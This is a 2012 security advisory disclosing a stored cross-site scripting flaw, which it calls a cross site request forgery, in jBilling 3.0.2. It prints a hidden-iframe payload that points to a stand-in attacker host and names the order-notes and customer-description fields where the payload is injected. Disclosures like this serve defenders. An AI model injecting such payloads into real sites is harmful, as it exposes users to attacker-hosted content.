INGRESS SECURITY

INGRESS SECURITY SECURITY ADVISORY

INGRES-11232012-jBilling 3.0.2 Cross Site Scripting Vulnerability
November 23, 2012

OVERVIEW

Ingress Security has found a cross site scripting vulnerability in the form of a cross site request forgery in the jBilling billing software.

jBilling's mission is to provide a robust, secure, open source alternative for enterprise billing. With our world-class service team, we help companies all over the world deploy and maintain billing solutions to meet their business needs.

AFFECTED PRODUCTS

jBilling 3.0.2 and prior.

PLATFORM: Linux

LOCAL/REMOTE: Remote

CVSS SCORE: 3.7 (AV:R/AC:L/Au:R/C:C/I:P/A:N/B:/E:P/RL:U/RC:U)

DESCRIPTION OF VULNERABILITIES

Cross Site Request Forgery (CSRF)

jBilling does not properly check user input, thus allowing the `<iframe>` tag to be used in a malicious manner. For example, an individual with Add User rights could add multiple users and when those users log in, the following `<iframe>` tag would send them to a malicious website hosting malicious content:

```
<iframe src="http://attacker_host:4321/attack.html" height="1"
```


```
width="1" style="visibility: hidden;" />
```

The URLs that are affected are:

```
http://[host]/jbilling/orderBuilder/edit?execution=e1s1&userId=[uid]
```

Create a new order and in the notes section, input your malicious code.

```
http://[host]/jbilling/customer/edit
```

Add a new customer by going to the URL above and enter their details. In the description box, input your malicious code.

DISCLAIMER

11/23/2012